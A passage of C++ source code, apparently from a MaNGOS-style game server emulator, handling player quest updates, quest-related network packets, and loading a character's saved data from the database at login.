QuestStatusData& q_status = mQuestStatus[questid];
if ( q_status.m_status == QUEST_STATUS_INCOMPLETE )
{
if (GetReputationMgr().GetReputation(factionEntry) >= qInfo->GetRepObjectiveValue())
if ( CanCompleteQuest( questid ) )
CompleteQuest( questid );
}
else if ( q_status.m_status == QUEST_STATUS_COMPLETE )
{
if (GetReputationMgr().GetReputation(factionEntry) < qInfo->GetRepObjectiveValue())
IncompleteQuest( questid );
}
}
}
}
}
}
bool Player::HasQuestForItem( uint32 itemid ) const
{
for( int i = 0; i < MAX_QUEST_LOG_SIZE; ++i )
{
uint32 questid = GetQuestSlotQuestId(i);
if ( questid == 0 )
continue;
QuestStatusMap::const_iterator qs_itr = mQuestStatus.find(questid);
if (qs_itr == mQuestStatus.end())
continue;
QuestStatusData const& q_status = qs_itr->second;
if (q_status.m_status == QUEST_STATUS_INCOMPLETE)
{
Quest const* qinfo = sObjectMgr.GetQuestTemplate(questid);
if(!qinfo)
continue;
// hide quest if player is in raid-group and quest is no raid quest
if (GetGroup() && GetGroup()->isRaidGroup() && !qinfo->IsAllowedInRaid() && !InBattleGround())
continue;
// There should be no mixed ReqItem/ReqSource drop
// This part for ReqItem drop
for (int j = 0; j < QUEST_ITEM_OBJECTIVES_COUNT; ++j)
{
if (itemid == qinfo->ReqItemId[j] && q_status.m_itemcount[j] < qinfo->ReqItemCount[j] )
return true;
}
// This part - for ReqSource
for (int j = 0; j < QUEST_SOURCE_ITEM_IDS_COUNT; ++j)
{
// examined item is a source item
if (qinfo->ReqSourceId[j] == itemid)
{
ItemPrototype const *pProto = ObjectMgr::GetItemPrototype(itemid);
// 'unique' item
if (pProto->MaxCount && (int32)GetItemCount(itemid,true) < pProto->MaxCount)
return true;
// allows custom amount drop when not 0
if (qinfo->ReqSourceCount[j])
{
if (GetItemCount(itemid,true) < qinfo->ReqSourceCount[j])
return true;
} else if ((int32)GetItemCount(itemid,true) < pProto->Stackable)
return true;
}
}
}
}
return false;
}
// Used for quests having some event (explore, escort, "external event") as quest objective.
void Player::SendQuestCompleteEvent(uint32 quest_id)
{
if (quest_id)
{
WorldPacket data(SMSG_QUESTUPDATE_COMPLETE, 4);
data << uint32(quest_id);
GetSession()->SendPacket(&data);
DEBUG_LOG("WORLD: Sent SMSG_QUESTUPDATE_COMPLETE quest = %u", quest_id);
}
}
void Player::SendQuestReward( Quest const *pQuest, uint32 XP, Object * questGiver )
{
uint32 questid = pQuest->GetQuestId();
DEBUG_LOG( "WORLD: Sent SMSG_QUESTGIVER_QUEST_COMPLETE quest = %u", questid );
WorldPacket data( SMSG_QUESTGIVER_QUEST_COMPLETE, (4+4+4+4+4) );
data << uint32(questid);
if ( getLevel() < sWorld.getConfig(CONFIG_UINT32_MAX_PLAYER_LEVEL) )
{
data << uint32(XP);
data << uint32(pQuest->GetRewOrReqMoney());
}
else
{
data << uint32(0);
data << uint32(pQuest->GetRewOrReqMoney() + int32(pQuest->GetRewMoneyMaxLevel() * sWorld.getConfig(CONFIG_FLOAT_RATE_DROP_MONEY)));
}
data << uint32(10*MaNGOS::Honor::hk_honor_at_level(getLevel(), pQuest->GetRewHonorAddition()));
data << uint32(pQuest->GetBonusTalents()); // bonus talents
data << uint32(0); // arena points
GetSession()->SendPacket( &data );
}
void Player::SendQuestFailed( uint32 quest_id, InventoryResult reason)
{
if ( quest_id )
{
WorldPacket data( SMSG_QUESTGIVER_QUEST_FAILED, 4+4 );
data << uint32(quest_id);
data << uint32(reason); // failed reason (valid reasons: 4, 16, 50, 17, 74, other values show default message)
GetSession()->SendPacket( &data );
DEBUG_LOG("WORLD: Sent SMSG_QUESTGIVER_QUEST_FAILED");
}
}
void Player::SendQuestTimerFailed( uint32 quest_id )
{
if ( quest_id )
{
WorldPacket data( SMSG_QUESTUPDATE_FAILEDTIMER, 4 );
data << uint32(quest_id);
GetSession()->SendPacket( &data );
DEBUG_LOG("WORLD: Sent SMSG_QUESTUPDATE_FAILEDTIMER");
}
}
void Player::SendCanTakeQuestResponse( uint32 msg ) const
{
WorldPacket data( SMSG_QUESTGIVER_QUEST_INVALID, 4 );
data << uint32(msg);
GetSession()->SendPacket( &data );
DEBUG_LOG("WORLD: Sent SMSG_QUESTGIVER_QUEST_INVALID");
}
void Player::SendQuestConfirmAccept(const Quest* pQuest, Player* pReceiver)
{
if (pReceiver)
{
int loc_idx = pReceiver->GetSession()->GetSessionDbLocaleIndex();
std::string title = pQuest->GetTitle();
sObjectMgr.GetQuestLocaleStrings(pQuest->GetQuestId(), loc_idx, &title);
WorldPacket data(SMSG_QUEST_CONFIRM_ACCEPT, (4 + title.size() + 8));
data << uint32(pQuest->GetQuestId());
data << title;
data << GetObjectGuid();
pReceiver->GetSession()->SendPacket(&data);
DEBUG_LOG("WORLD: Sent SMSG_QUEST_CONFIRM_ACCEPT");
}
}
void Player::SendPushToPartyResponse( Player *pPlayer, uint32 msg )
{
if ( pPlayer )
{
WorldPacket data( MSG_QUEST_PUSH_RESULT, (8+1) );
data << pPlayer->GetObjectGuid();
data << uint8(msg); // valid values: 0-8
GetSession()->SendPacket( &data );
DEBUG_LOG("WORLD: Sent MSG_QUEST_PUSH_RESULT");
}
}
void Player::SendQuestUpdateAddCreatureOrGo( Quest const* pQuest, ObjectGuid guid, uint32 creatureOrGO_idx, uint32 count)
{
MANGOS_ASSERT(count < 65536 && "mob/GO count store in 16 bits 2^16 = 65536 (0..65536)");
int32 entry = pQuest->ReqCreatureOrGOId[ creatureOrGO_idx ];
if (entry < 0)
// client expected gameobject template id in form (id|0x80000000)
entry = (-entry) | 0x80000000;
WorldPacket data( SMSG_QUESTUPDATE_ADD_KILL, (4*4+8) );
DEBUG_LOG( "WORLD: Sent SMSG_QUESTUPDATE_ADD_KILL" );
data << uint32(pQuest->GetQuestId());
data << uint32(entry);
data << uint32(count);
data << uint32(pQuest->ReqCreatureOrGOCount[ creatureOrGO_idx ]);
data << guid;
GetSession()->SendPacket(&data);
uint16 log_slot = FindQuestSlot( pQuest->GetQuestId() );
if (log_slot < MAX_QUEST_LOG_SIZE)
SetQuestSlotCounter(log_slot, creatureOrGO_idx, count);
}
/*********************************************************/
/*** LOAD SYSTEM ***/
/*********************************************************/
void Player::_LoadDeclinedNames(QueryResult* result)
{
if(!result)
return;
if (m_declinedname)
delete m_declinedname;
m_declinedname = new DeclinedName;
Field *fields = result->Fetch();
for(int i = 0; i < MAX_DECLINED_NAME_CASES; ++i)
m_declinedname->name[i] = fields[i].GetCppString();
delete result;
}
void Player::_LoadArenaTeamInfo(QueryResult *result)
{
// arenateamid, played_week, played_season, personal_rating
memset((void*)&m_uint32Values[PLAYER_FIELD_ARENA_TEAM_INFO_1_1], 0, sizeof(uint32) * MAX_ARENA_SLOT * ARENA_TEAM_END);
if (!result)
return;
do
{
Field *fields = result->Fetch();
uint32 arenateamid = fields[0].GetUInt32();
uint32 played_week = fields[1].GetUInt32();
uint32 played_season = fields[2].GetUInt32();
uint32 wons_season = fields[3].GetUInt32();
uint32 personal_rating = fields[4].GetUInt32();
ArenaTeam* aTeam = sObjectMgr.GetArenaTeamById(arenateamid);
if(!aTeam)
{
sLog.outError("Player::_LoadArenaTeamInfo: couldn't load arenateam %u", arenateamid);
continue;
}
uint8 arenaSlot = aTeam->GetSlot();
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_ID, arenateamid);
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_TYPE, aTeam->GetType());
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_MEMBER, (aTeam->GetCaptainGuid() == GetObjectGuid()) ? 0 : 1);
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_GAMES_WEEK, played_week);
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_GAMES_SEASON, played_season);
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_WINS_SEASON, wons_season);
SetArenaTeamInfoField(arenaSlot, ARENA_TEAM_PERSONAL_RATING, personal_rating);
} while (result->NextRow());
delete result;
}
void Player::_LoadEquipmentSets(QueryResult *result)
{
// SetPQuery(PLAYER_LOGIN_QUERY_LOADEQUIPMENTSETS, "SELECT setguid, setindex, name, iconname, ignore_mask, item0, item1, item2, item3, item4, item5, item6, item7, item8, item9, item10, item11, item12, item13, item14, item15, item16, item17, item18 FROM character_equipmentsets WHERE guid = '%u' ORDER BY setindex", GUID_LOPART(m_guid));
if (!result)
return;
uint32 count = 0;
do
{
Field *fields = result->Fetch();
EquipmentSet eqSet;
eqSet.Guid = fields[0].GetUInt64();
uint32 index = fields[1].GetUInt32();
eqSet.Name = fields[2].GetCppString();
eqSet.IconName = fields[3].GetCppString();
eqSet.IgnoreMask = fields[4].GetUInt32();
eqSet.state = EQUIPMENT_SET_UNCHANGED;
for(uint32 i = 0; i < EQUIPMENT_SLOT_END; ++i)
eqSet.Items[i] = fields[5+i].GetUInt32();
m_EquipmentSets[index] = eqSet;
++count;
if (count >= MAX_EQUIPMENT_SET_INDEX) // client limit
break;
} while (result->NextRow());
delete result;
}
void Player::_LoadBGData(QueryResult* result)
{
if (!result)
return;
// Expecting only one row
Field *fields = result->Fetch();
/* bgInstanceID, bgTeam, x, y, z, o, map, taxi[0], taxi[1], mountSpell */
m_bgData.bgInstanceID = fields[0].GetUInt32();
m_bgData.bgTeam = Team(fields[1].GetUInt32());
m_bgData.joinPos = WorldLocation(fields[6].GetUInt32(), // Map
fields[2].GetFloat(), // X
fields[3].GetFloat(), // Y
fields[4].GetFloat(), // Z
fields[5].GetFloat()); // Orientation
m_bgData.taxiPath[0] = fields[7].GetUInt32();
m_bgData.taxiPath[1] = fields[8].GetUInt32();
m_bgData.mountSpell = fields[9].GetUInt32();
delete result;
}
bool Player::LoadPositionFromDB(ObjectGuid guid, uint32& mapid, float& x, float& y, float& z, float& o, bool& in_flight)
{
QueryResult *result = CharacterDatabase.PQuery("SELECT position_x,position_y,position_z,orientation,map,taxi_path FROM characters WHERE guid = '%u'", guid.GetCounter());
if(!result)
return false;
Field *fields = result->Fetch();
x = fields[0].GetFloat();
y = fields[1].GetFloat();
z = fields[2].GetFloat();
o = fields[3].GetFloat();
mapid = fields[4].GetUInt32();
in_flight = !fields[5].GetCppString().empty();
delete result;
return true;
}
void Player::_LoadIntoDataField(const char* data, uint32 startOffset, uint32 count)
{
if(!data)
return;
Tokens tokens(data, ' ', count);
if (tokens.size() != count)
return;
for (uint32 index = 0; index < count; ++index)
m_uint32Values[startOffset + index] = atol(tokens[index]);
}
bool Player::LoadFromDB(ObjectGuid guid, SqlQueryHolder *holder )
{
// 0 1 2 3 4 5 6 7 8 9 10 11
//SELECT guid, account, name, race, class, gender, level, xp, money, playerBytes, playerBytes2, playerFlags,"
// 12 13 14 15 16 17 18 19 20 21 22 23 24
//"position_x, position_y, position_z, map, orientation, taximask, cinematic, totaltime, leveltime, rest_bonus, logout_time, is_logout_resting, resettalents_cost,"
// 25 26 27 28 29 30 31 32 33 34 35 36 37 38
//"resettalents_time, trans_x, trans_y, trans_z, trans_o, transguid, extra_flags, stable_slots, at_login, zone, online, death_expire_time, taxi_path, dungeon_difficulty,"
// 39 40 41 42 43 44 45 46 47 48 49
//"arenaPoints, totalHonorPoints, todayHonorPoints, yesterdayHonorPoints, totalKills, todayKills, yesterdayKills, chosenTitle, knownCurrencies, watchedFaction, drunk,"
// 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
//"health, power1, power2, power3, power4, power5, power6, power7, specCount, activeSpec, exploredZones, equipmentCache, ammoId, knownTitles, actionBars, grantableLevels FROM characters WHERE guid = '%u'", GUID_LOPART(m_guid));
QueryResult *result = holder->GetResult(PLAYER_LOGIN_QUERY_LOADFROM);
if(!result)
{
sLog.outError("%s not found in table `characters`, can't load. ", guid.GetString().c_str());
return false;
}
Field *fields = result->Fetch();
uint32 dbAccountId = fields[1].GetUInt32();
// check if the character's account in the db and the logged in account match.
// player should be able to load/delete character only with correct account!
if ( dbAccountId != GetSession()->GetAccountId() )
{
sLog.outError("%s loading from wrong account (is: %u, should be: %u)",
guid.GetString().c_str(), GetSession()->GetAccountId(), dbAccountId);
delete result;
return false;
}
Object::_Create(guid);
m_name = fields[2].GetCppString();
// check name limitations
if (ObjectMgr::CheckPlayerName(m_name) != CHAR_NAME_SUCCESS ||
(GetSession()->GetSecurity() == SEC_PLAYER && sObjectMgr.IsReservedName(m_name)))
{
delete result;
CharacterDatabase.PExecute("UPDATE characters SET at_login = at_login | '%u' WHERE guid ='%u'",
uint32(AT_LOGIN_RENAME), guid.GetCounter());
return false;
}
// overwrite possible wrong/corrupted guid
SetGuidValue(OBJECT_FIELD_GUID, guid);
// overwrite some data fields
SetByteValue(UNIT_FIELD_BYTES_0,0,fields[3].GetUInt8());// race
SetByteValue(UNIT_FIELD_BYTES_0,1,fields[4].GetUInt8());// class
uint8 gender = fields[5].GetUInt8() & 0x01; // allowed only 1 bit values male/female cases (for fit drunk gender part)
SetByteValue(UNIT_FIELD_BYTES_0,2,gender); // gender
SetUInt32Value(UNIT_FIELD_LEVEL, fields[6].GetUInt8());
SetUInt32Value(PLAYER_XP, fields[7].GetUInt32());
_LoadIntoDataField(fields[60].GetString(), PLAYER_EXPLORED_ZONES_1, PLAYER_EXPLORED_ZONES_SIZE);
_LoadIntoDataField(fields[63].GetString(), PLAYER__FIELD_KNOWN_TITLES, KNOWN_TITLES_SIZE*2);
InitDisplayIds(); // model, scale and model data
SetFloatValue(UNIT_FIELD_HOVERHEIGHT, 1.0f);
// just load criteria/achievement data, safe call before any load, and need, because some spell/item/quest loading
// can triggering achievement criteria update that will be lost if this call will later
m_achievementMgr.LoadFromDB(holder->GetResult(PLAYER_LOGIN_QUERY_LOADACHIEVEMENTS), holder->GetResult(PLAYER_LOGIN_QUERY_LOADCRITERIAPROGRESS));
uint32 money = fields[8].GetUInt32();
if (money > MAX_MONEY_AMOUNT)
money = MAX_MONEY_AMOUNT;
SetMoney(money);
SetUInt32Value(PLAYER_BYTES, fields[9].GetUInt32());
SetUInt32Value(PLAYER_BYTES_2, fields[10].GetUInt32());
m_drunk = fields[49].GetUInt16();
SetUInt16Value(PLAYER_BYTES_3, 0, (m_drunk & 0xFFFE) | gender);
SetUInt32Value(PLAYER_FLAGS, fields[11].GetUInt32());
SetInt32Value(PLAYER_FIELD_WATCHED_FACTION_INDEX, fields[48].GetInt32());
SetUInt64Value(PLAYER_FIELD_KNOWN_CURRENCIES, fields[47].GetUInt64());
SetUInt32Value(PLAYER_AMMO_ID, fields[62].GetUInt32());
// Action bars state
SetByteValue(PLAYER_FIELD_BYTES, 2, fields[64].GetUInt8());
// cleanup inventory related item value fields (its will be filled correctly in _LoadInventory)
for(uint8 slot = EQUIPMENT_SLOT_START; slot < EQUIPMENT_SLOT_END; ++slot)
{
SetGuidValue(PLAYER_FIELD_INV_SLOT_HEAD + (slot * 2), ObjectGuid());
SetVisibleItemSlot(slot, NULL);
if (m_items[slot])
{
delete m_items[slot];
m_items[slot] = NULL;
}
}
DEBUG_FILTER_LOG(LOG_FILTER_PLAYER_STATS, "Load Basic value of player %s is: ", m_name.c_str());
outDebugStatsValues();
//Need to call it to initialize m_team (m_team can be calculated from race)
//Other way is to saves m_team into characters table.
setFactionForRace(getRace());
SetCharm(NULL);
// load home bind and check in same time class/race pair, it used later for restore broken positions
if(!_LoadHomeBind(holder->GetResult(PLAYER_LOGIN_QUERY_LOADHOMEBIND)))
{
delete result;
return false;
}
InitPrimaryProfessions(); // to max set before any spell loaded
// init saved position, and fix it later if problematic
uint32 transGUID = fields[30].GetUInt32();
// Relocate(fields[12].GetFloat(),fields[13].GetFloat(),fields[14].GetFloat(),fields[16].GetFloat());
// SetLocationMapId(fields[15].GetUInt32());
WorldLocation savedLocation = WorldLocation(fields[15].GetUInt32(),fields[12].GetFloat(),fields[13].GetFloat(),fields[14].GetFloat(),fields[16].GetFloat());
m_Difficulty = fields[38].GetUInt32(); // may be changed in _LoadGroup
if (GetDungeonDifficulty() >= MAX_DUNGEON_DIFFICULTY)
SetDungeonDifficulty(DUNGEON_DIFFICULTY_NORMAL);
if (GetRaidDifficulty() >= MAX_RAID_DIFFICULTY)
SetRaidDifficulty(RAID_DIFFICULTY_10MAN_NORMAL);
_LoadGroup(holder->GetResult(PLAYER_LOGIN_QUERY_LOADGROUP));
_LoadArenaTeamInfo(holder->GetResult(PLAYER_LOGIN_QUERY_LOADARENAINFO));
SetArenaPoints(fields[39].GetUInt32());
// check arena teams integrity
for(uint32 arena_slot = 0; arena_slot < MAX_ARENA_SLOT; ++arena_slot)
{
uint32 arena_team_id = GetArenaTeamId(arena_slot);
if (!arena_team_id)
continue;
if (ArenaTeam * at = sObjectMgr.GetArenaTeamById(arena_team_id))
if (at->HaveMember(GetObjectGuid()))
continue;
// arena team not exist or not member, cleanup fields
for(int j = 0; j < ARENA_TEAM_END; ++j)
SetArenaTeamInfoField(arena_slot, ArenaTeamInfoType(j), 0);
}
SetHonorPoints(fields[40].GetUInt32());
SetUInt32Value(PLAYER_FIELD_TODAY_CONTRIBUTION, fields[41].GetUInt32());
SetUInt32Value(PLAYER_FIELD_YESTERDAY_CONTRIBUTION, fields[42].GetUInt32());
SetUInt32Value(PLAYER_FIELD_LIFETIME_HONORBALE_KILLS, fields[43].GetUInt32());
SetUInt16Value(PLAYER_FIELD_KILLS, 0, fields[44].GetUInt16());
SetUInt16Value(PLAYER_FIELD_KILLS, 1, fields[45].GetUInt16());
_LoadBoundInstances(holder->GetResult(PLAYER_LOGIN_QUERY_LOADBOUNDINSTANCES));
MapEntry const* mapEntry = sMapStore.LookupEntry(savedLocation.mapid);
if (!mapEntry || !MapManager::IsValidMapCoord(savedLocation) ||
// client without expansion support
GetSession()->Expansion() < mapEntry->Expansion())
{
sLog.outError("Player::LoadFromDB player %s have invalid coordinates (map: %u X: %f Y: %f Z: %f O: %f). Teleport to default race/class locations.",
guid.GetString().c_str(),
savedLocation.mapid,
savedLocation.coord_x,
savedLocation.coord_y,
savedLocation.coord_z,
savedLocation.orientation);
RelocateToHomebind();
GetPosition(savedLocation); // reset saved position to homebind
transGUID = 0;
m_movementInfo.ClearTransportData();
}
_LoadBGData(holder->GetResult(PLAYER_LOGIN_QUERY_LOADBGDATA));
bool player_at_bg = false;
// player bounded instance saves loaded in _LoadBoundInstances, group versions at group loading
DungeonPersistentState* state = GetBoundInstanceSaveForSelfOrGroup(savedLocation.mapid);
Map* targetMap = sMapMgr.FindMap(savedLocation.mapid, state ? state->GetInstanceId() : 0);
if (m_bgData.bgInstanceID) //saved in BattleGround
{
BattleGround* currentBg = sBattleGroundMgr.GetBattleGround(m_bgData.bgInstanceID, BATTLEGROUND_TYPE_NONE);
player_at_bg = currentBg && currentBg->IsPlayerInBattleGround(GetObjectGuid());
if (player_at_bg && currentBg->GetStatus() != STATUS_WAIT_LEAVE)
{
BattleGroundQueueTypeId bgQueueTypeId = BattleGroundMgr::BGQueueTypeId(currentBg->GetTypeID(), currentBg->GetArenaType());
AddBattleGroundQueueId(bgQueueTypeId);
m_bgData.bgTypeID = currentBg->GetTypeID(); // bg data not marked as modified
//join player to battleground group
currentBg->EventPlayerLoggedIn(this, GetObjectGuid());
currentBg->AddOrSetPlayerToCorrectBgGroup(this, GetObjectGuid(), m_bgData.bgTeam);
SetInviteForBattleGroundQueueType(bgQueueTypeId,currentBg->GetInstanceID());
}
else
{
// leave bg
if (player_at_bg)
{
currentBg->RemovePlayerAtLeave(GetObjectGuid(), false, true);
player_at_bg = false;
}
// move to bg enter point
const WorldLocation& _loc = GetBattleGroundEntryPoint();
SetLocationMapId(_loc.mapid);
Relocate(_loc.coord_x, _loc.coord_y, _loc.coord_z, _loc.orientation);
// We are not in BG anymore
SetBattleGroundId(0, BATTLEGROUND_TYPE_NONE);
// remove outdated DB data in DB
_SaveBGData(true);
}
}
else
{
mapEntry = sMapStore.LookupEntry(savedLocation.mapid);
// if server restart after player save in BG or area
// player can have current coordinates in to BG/Arena map, fix this
if(mapEntry->IsBattleGroundOrArena())
{
const WorldLocation& _loc = GetBattleGroundEntryPoint();
if (!MapManager::IsValidMapCoord(_loc))
{
RelocateToHomebind();
transGUID = 0;
m_movementInfo.ClearTransportData();
}
else
{
SetLocationMapId(_loc.mapid);
Relocate(_loc.coord_x, _loc.coord_y, _loc.coord_z, _loc.orientation);
}
// We are not in BG anymore
SetBattleGroundId(0, BATTLEGROUND_TYPE_NONE);
// remove outdated DB data in DB
_SaveBGData(true);
}
// Cleanup LFG BG data, if char not in dungeon.
else if (!mapEntry->IsDungeon())
{
_SaveBGData(true);
// Saved location checked before
SetLocationMapId(savedLocation.mapid);
Relocate(savedLocation.coord_x, savedLocation.coord_y, savedLocation.coord_z, savedLocation.orientation);
}
else if (mapEntry->IsDungeon())
{
AreaTrigger const* gt = sObjectMgr.GetGoBackTrigger(savedLocation.mapid);
if (gt)
{
// always put player at goback trigger before porting to instance
SetLocationMapId(gt->target_mapId);
Relocate(gt->target_X, gt->target_Y, gt->target_Z, gt->target_Orientation);
AreaTrigger const* at = sObjectMgr.GetMapEntranceTrigger(savedLocation.mapid);
if (at)
{
if (CheckTransferPossibility(at))
{
if (!state)
{
SetLocationMapId(at->target_mapId);
Relocate(at->target_X, at->target_Y, at->target_Z, at->target_Orientation);
}
else
{
SetLocationMapId(savedLocation.mapid);
Relocate(savedLocation.coord_x, savedLocation.coord_y, savedLocation.coord_z, savedLocation.orientation);
}
}
else
sLog.outError("Player::LoadFromDB %s try logged to instance (map: %u, difficulty %u), but transfer to map impossible. This _might_ be an exploit attempt.", GetObjectGuid().GetString().c_str(), savedLocation.mapid, GetDifficulty());
}
else
sLog.outError("Player::LoadFromDB %s logged in to a reset instance (map: %u, difficulty %u) and there is no area-trigger leading to this map. Thus he can't be ported back to the entrance. This _might_ be an exploit attempt.", GetObjectGuid().GetString().c_str(), savedLocation.mapid, GetDifficulty());
}
else
{
transGUID = 0;
m_movementInfo.ClearTransportData();
RelocateToHomebind();
}
}
}
if (transGUID != 0)
{
m_movementInfo.SetTransportData(ObjectGuid(HIGHGUID_MO_TRANSPORT,transGUID), fields[26].GetFloat(), fields[27].GetFloat(), fields[28].GetFloat(), fields[29].GetFloat(), 0, -1);
if ( !MaNGOS::IsValidMapCoord(
GetPositionX() + m_movementInfo.GetTransportPos()->x, GetPositionY() + m_movementInfo.GetTransportPos()->y,
GetPositionZ() + m_movementInfo.GetTransportPos()->z, GetOrientation() + m_movementInfo.GetTransportPos()->o) ||
// transport size limited
m_movementInfo.GetTransportPos()->x > 50 || m_movementInfo.GetTransportPos()->y > 50 || m_movementInfo.GetTransportPos()->z > 50 )
{
sLog.outError("%s have invalid transport coordinates (X: %f Y: %f Z: %f O: %f). Teleport to default race/class locations.",
guid.GetString().c_str(), GetPositionX() + m_movementInfo.GetTransportPos()->x, GetPositionY() + m_movementInfo.GetTransportPos()->y,
GetPositionZ() + m_movementInfo.GetTransportPos()->z, GetOrientation() + m_movementInfo.GetTransportPos()->o);
RelocateToHomebind();
m_movementInfo.ClearTransportData();
transGUID = 0;
}
}
if (transGUID != 0)
{
for (MapManager::TransportSet::const_iterator iter = sMapMgr.m_Transports.begin(); iter != sMapMgr.m_Transports.end(); ++iter)
{
Transport* transport = *iter;
if (transport->GetGUIDLow() == transGUID)
{
MapEntry const* transMapEntry = sMapStore.LookupEntry(transport->GetMapId());
// client without expansion support
if (GetSession()->Expansion() < transMapEntry->Expansion())
{
DEBUG_LOG("Player %s using client without required expansion tried login at transport at non accessible map %u", GetName(), transport->GetMapId());
break;
}
SetTransport(transport);
transport->AddPassenger(this);
SetLocationMapId(transport->GetMapId());
break;
}
}
if(!m_transport)
{
sLog.outError("%s have problems with transport guid (%u). Teleport to default race/class locations.",
guid.GetString().c_str(), transGUID);
RelocateToHomebind();
m_movementInfo.ClearTransportData();
transGUID = 0;
}
}
// load the player's map here if it's not already loaded
if (!GetMap())
{
if (Map* map = sMapMgr.CreateMap(GetMapId(), this))
SetMap(map);
else
RelocateToHomebind();
}
SaveRecallPosition();
time_t now = time(NULL);
time_t logoutTime = time_t(fields[22].GetUInt64());
// since last logout (in seconds)
uint32 time_diff = uint32(now - logoutTime);
// set value, including drunk invisibility detection
// calculate sobering. after 15 minutes logged out, the player will be sober again
float soberFactor;
if (time_diff > 15*MINUTE)
soberFactor = 0;
else
soberFactor = 1-time_diff/(15.0f*MINUTE);
uint16 newDrunkenValue = uint16(soberFactor* m_drunk);
SetDrunkValue(newDrunkenValue);
m_cinematic = fields[18].GetUInt32();
m_Played_time[PLAYED_TIME_TOTAL]= fields[19].GetUInt32();
m_Played_time[PLAYED_TIME_LEVEL]= fields[20].GetUInt32();
m_resetTalentsCost = fields[24].GetUInt32();
m_resetTalentsTime = time_t(fields[25].GetUInt64());
// reserve some flags
uint32 old_safe_flags = GetUInt32Value(PLAYER_FLAGS) & ( PLAYER_FLAGS_HIDE_CLOAK | PLAYER_FLAGS_HIDE_HELM );
if ( HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GM) )
SetUInt32Value(PLAYER_FLAGS, 0 | old_safe_flags);
m_taxi.LoadTaxiMask( fields[17].GetString() ); // must be before InitTaxiNodesForLevel
uint32 extraflags = fields[31].GetUInt32();
m_stableSlots = fields[32].GetUInt32();
if (m_stableSlots > MAX_PET_STABLES)
{
sLog.outError("Player can have not more %u stable slots, but have in DB %u",MAX_PET_STABLES,uint32(m_stableSlots));
m_stableSlots = MAX_PET_STABLES;
}
m_atLoginFlags = fields[33].GetUInt32();
// Honor system
// Update Honor kills data
m_lastHonorUpdateTime = logoutTime;
UpdateHonorFields();
m_deathExpireTime = (time_t)fields[36].GetUInt64();
if (m_deathExpireTime > now+MAX_DEATH_COUNT*DEATH_EXPIRE_STEP)
m_deathExpireTime = now+MAX_DEATH_COUNT*DEATH_EXPIRE_STEP-1;
std::string taxi_nodes = fields[37].GetCppString();
// clear channel spell data (if saved at channel spell casting)
SetChannelObjectGuid(ObjectGuid());
SetUInt32Value(UNIT_CHANNEL_SPELL,0);
// clear charm/summon related fields
SetCharm(NULL);
SetPet(NULL);
SetTargetGuid(ObjectGuid());
SetCharmerGuid(ObjectGuid());
SetOwnerGuid(ObjectGuid());
SetCreatorGuid(ObjectGuid());
// reset some aura modifiers before aura apply
SetGuidValue(PLAYER_FARSIGHT, ObjectGuid());
SetUInt32Value(PLAYER_TRACK_CREATURES, 0 );
SetUInt32Value(PLAYER_TRACK_RESOURCES, 0 );
// cleanup aura list explicitly before skill load where some spells can be applied
RemoveAllAuras();
// make sure the unit is considered out of combat for proper loading
ClearInCombat();
// make sure the unit is considered not in duel for proper loading
SetGuidValue(PLAYER_DUEL_ARBITER, ObjectGuid());
SetUInt32Value(PLAYER_DUEL_TEAM, 0);
// reset stats before loading any modifiers
InitStatsForLevel();
InitGlyphsForLevel();
InitTaxiNodesForLevel();
InitRunes();
// rest bonus can only be calculated after InitStatsForLevel()
m_rest_bonus = fields[21].GetFloat();
if (time_diff > 0)
{
//speed collect rest bonus in offline, in logout, far from tavern, city (section/in hour)
float bubble0 = 0.031f;
//speed collect rest bonus in offline, in logout, in tavern, city (section/in hour)
float bubble1 = 0.125f;
float bubble = fields[23].GetUInt32() > 0
? bubble1*sWorld.getConfig(CONFIG_FLOAT_RATE_REST_OFFLINE_IN_TAVERN_OR_CITY)
: bubble0*sWorld.getConfig(CONFIG_FLOAT_RATE_REST_OFFLINE_IN_WILDERNESS);
SetRestBonus(GetRestBonus()+ time_diff*((float)GetUInt32Value(PLAYER_NEXT_LEVEL_XP)/72000)*bubble);
}
// load skills after InitStatsForLevel because it triggering aura apply also
_LoadSkills(holder->GetResult(PLAYER_LOGIN_QUERY_LOADSKILLS));
// apply original stats mods before spell loading or item equipment that call before equip _RemoveStatsMods()
// Mail
_LoadMails(holder->GetResult(PLAYER_LOGIN_QUERY_LOADMAILS));
_LoadMailedItems(holder->GetResult(PLAYER_LOGIN_QUERY_LOADMAILEDITEMS));
UpdateNextMailTimeAndUnreads();
m_specsCount = fields[58].GetUInt8();
m_activeSpec = fields[59].GetUInt8();
m_GrantableLevelsCount = fields[65].GetUInt32();
// refer-a-friend flag - maybe wrong and hacky
LoadAccountLinkedState();
if (GetAccountLinkedState() != STATE_NOT_LINKED)
SetFlag(UNIT_DYNAMIC_FLAGS, UNIT_DYNFLAG_REFER_A_FRIEND);
// set grant flag
if (m_GrantableLevelsCount > 0)
SetByteValue(PLAYER_FIELD_BYTES, 1, 0x01);
_LoadGlyphs(holder->GetResult(PLAYER_LOGIN_QUERY_LOADGLYPHS));
_LoadAuras(holder->GetResult(PLAYER_LOGIN_QUERY_LOADAURAS), time_diff);
ApplyGlyphs(true);
// add ghost flag (must be after aura load: PLAYER_FLAGS_GHOST set in aura)
if ( HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_GHOST) )
m_deathState = DEAD;
_LoadSpells(holder->GetResult(PLAYER_LOGIN_QUERY_LOADSPELLS));
// after spell load, learn rewarded spell if need also
_LoadQuestStatus(holder->GetResult(PLAYER_LOGIN_QUERY_LOADQUESTSTATUS));
_LoadDailyQuestStatus(holder->GetResult(PLAYER_LOGIN_QUERY_LOADDAILYQUESTSTATUS));
_LoadWeeklyQuestStatus(holder->GetResult(PLAYER_LOGIN_QUERY_LOADWEEKLYQUESTSTATUS));
_LoadMonthlyQuestStatus(holder->GetResult(PLAYER_LOGIN_QUERY_LOADMONTHLYQUESTSTATUS));
_LoadRandomBGStatus(holder->GetResult(PLAYER_LOGIN_QUERY_LOADRANDOMBG));
_LoadTalents(holder->GetResult(PLAYER_LOGIN_QUERY_LOADTALENTS));
// after spell and quest load
InitTalentForLevel();
learnDefaultSpells();
// must be before inventory (some items required reputation check)
